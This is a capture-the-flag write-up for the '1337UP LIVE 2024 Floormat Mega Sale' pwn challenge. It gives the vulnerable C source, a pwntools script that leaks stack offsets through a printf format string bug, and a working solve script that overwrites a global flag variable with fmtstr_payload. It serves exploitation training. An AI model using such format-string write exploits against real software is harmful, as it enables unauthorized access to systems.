Writeup for Floormat Mega Sale (Pwn) - 1337UP LIVE CTF (2024) 💜
Challenge Description
The Floor Mat Store is running a mega sale, check it out!
If you played last 1337UPLIVE last year, you might remember the floormat store. Players were required to exploit a format string vulnerability in printf() to leak the flag off the stack. This year, the floormat store is having a MEGA SALE!
Bingo! We could try leaking values from the stack and converting from hex, or using the %s specifier but the flag isn't there this time (wouldn't be a new challenge then, would it?).
You'll want to disassemble the code to see what's going on. I cba rn so here's the original source.
int employee =0;voidemployee_access() {if (employee !=0) {char flag[64]; FILE *f =fopen("flag.txt","r");if (f ==NULL) {printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");exit(0); }fgets(flag,sizeof(flag), f);printf("Exclusive Employee-only Mat will be delivered to: %s\n", flag);fclose(f); } else {printf("\nAccess Denied: You are not an employee!\n"); }}
The function is called when we use the menu option 6. There's nothing in the code that will ever change the employee variable, hopefully this is a hint you need to overwrite that variable.
I've covered format string write attacks on my youtube a few times so I'll not do repeat myself in detail here. We already know the location of the variable we want to overwrite (PIE is disabled, we can get it from assembly or reference directly in pwntools) and what we want to overwrite it with (anything but 0). The only thing we need to know is the offset of where our input will land, and we can find that with a fuzzing script.
fuzz.py
from pwn import*# Allows you to switch between local/GDB/remote from terminaldefstart(argv=[],*a,**kw):if args.GDB:# Set GDBscript belowreturn gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)elif args.REMOTE:# ('server', 'port')returnremote(sys.argv[1], sys.argv[2], *a, **kw)else:# Run locallyreturnprocess([exe] + argv, *a, **kw)gdbscript ='''init-pwndbgb *employee_accesscontinue'''# Set up pwntools for the correct architectureexe ='./floormat_sale'elf = context.binary =ELF(exe, checksec=False)context.log_level ='info'# ===========================================================# EXPLOIT GOES HERE# ===========================================================leak_count =29# Start programio =start()# Choose the Employee-only mat (option 6) to trigger the correct flowio.sendlineafter(b'Enter your choice:', b'6')# Wait for the prompt to enter the shipping addressio.recvuntil(b'Please enter your shipping address:')# Generate a payload that will leak multiple stack values at once (up to 30)payload =b" ".join([f"AAAA %{i}$p".encode()for i inrange(1, leak_count)])io.sendline(payload)# Receive the text, so that we don't mess up position of leaked valuesio.recvlines(2)# Receive and print the response to analyze the leaked values# Decode with 'replace' to avoid crashing on non-ASCII bytesresponse = io.recvall().decode(errors="replace")# Split the response to process each value separatelyleaked_values = response.split()# Print each value with its index for easier analysisfor i inrange(leak_count):print(f"Leaked value at %<{i}$p>: {leaked_values[i]}")# Close the process after testingio.close()
We run that and see our AAAA lands at various offsets, e.g. 8, 10, 12 etc.
pythonfuzz.pyREMOTE127.0.0.11339[+] Opening connection to 127.0.0.1 on port 1339: Done[+] Receiving all data: Done (565B)[*] Closed connection to 127.0.0.1 port 1339Leakedvalueat%<0$p>:YourLeakedvalueat%<1$p>:floorLeakedvalueat%<2$p>:matLeakedvalueat%<3$p>:willLeakedvalueat%<4$p>:beLeakedvalueat%<5$p>:shippedLeakedvalueat%<6$p>:to:Leakedvalueat%<7$p>:AAAALeakedvalueat%<8$p>:0x1Leakedvalueat%<9$p>:AAAALeakedvalueat%<10$p>:0x1Leakedvalueat%<11$p>:AAAALeakedvalueat%<12$p>:0x7f18eef14887Leakedvalueat%<13$p>:AAAALeakedvalueat%<14$p>:0x24Leakedvalueat%<15$p>:AAAALeakedvalueat%<16$p>: (nil)Leakedvalueat%<17$p>:AAAALeakedvalueat%<18$p>:0x7ffc002c8238Leakedvalueat%<19$p>:AAAALeakedvalueat%<20$p>:0x100000000Leakedvalueat%<21$p>:AAAALeakedvalueat%<22$p>: (nil)Leakedvalueat%<23$p>:AAAALeakedvalueat%<24$p>:0x600000000Leakedvalueat%<25$p>:AAAALeakedvalueat%<26$p>:0x2431252041414141Leakedvalueat%<27$p>:AAAALeakedvalueat%<28$p>:0x2520414141412070
Not all of these offsets will work. I tried 8 and it didn't work but 10 did. You should be able to automate this stage as well but I couldn't get it working (I don't do pwn challenges anymore xD).
So here's a pwntools script to solve the challenge for us! It will overwrite the employee variable with a 1.
solve.py
from pwn import*# Allows you to switch between local/GDB/remote from terminaldefstart(argv=[],*a,**kw):if args.GDB:# Set GDB script belowreturn gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)elif args.REMOTE:# Remote executionreturnremote(sys.argv[1], sys.argv[2], *a, **kw)else:# Local executionreturnprocess([exe] + argv, *a, **kw)# Specify your GDB script here for debugginggdbscript ='''init-pwndbgb *employee_accesscontinue'''# Set up pwntools for the correct architectureexe ='./floormat_sale'elf = context.binary =ELF(exe, checksec=False)context.log_level ='debug'# Address of the 'employee' variableemployee_addr = elf.symbols['employee']info(f"Employee variable address: {hex(employee_addr)}")# Manually set the format string offsetoffset =10info(f"Using format string offset: {offset}")# Craft the payload to overwrite 'employee' variable# We include the address of 'employee' in the payload# Then use %<offset>$n to write to that address# Since the address needs to be on the stack, we place it appropriatelypayload =fmtstr_payload(offset, {employee_addr: 1}, write_size='int')# Start the programio =start(level='warn')# Send the choice (option 6)io.sendlineafter(b'Enter your choice:', b'6')# Wait for the shipping address promptio.recvuntil(b'Please enter your shipping address:')# Send the payloadio.sendline(payload)# Receive the output to synchronizeio.recvuntil(b'Your floor mat will be shipped to:')# Receive and print the flagio.recvuntil(b'Exclusive Employee-only Mat will be delivered to: ')flag = io.recvline()success(f'Flag: {flag.decode()}')
When we enter menu option 6, we'll get the flag.
pythonsolve.pyREMOTE127.0.0.11339[*] Employee variable address: 0x40408c[*] Using format string offset: 10[+] Flag: INTIGRITI{fake_flag}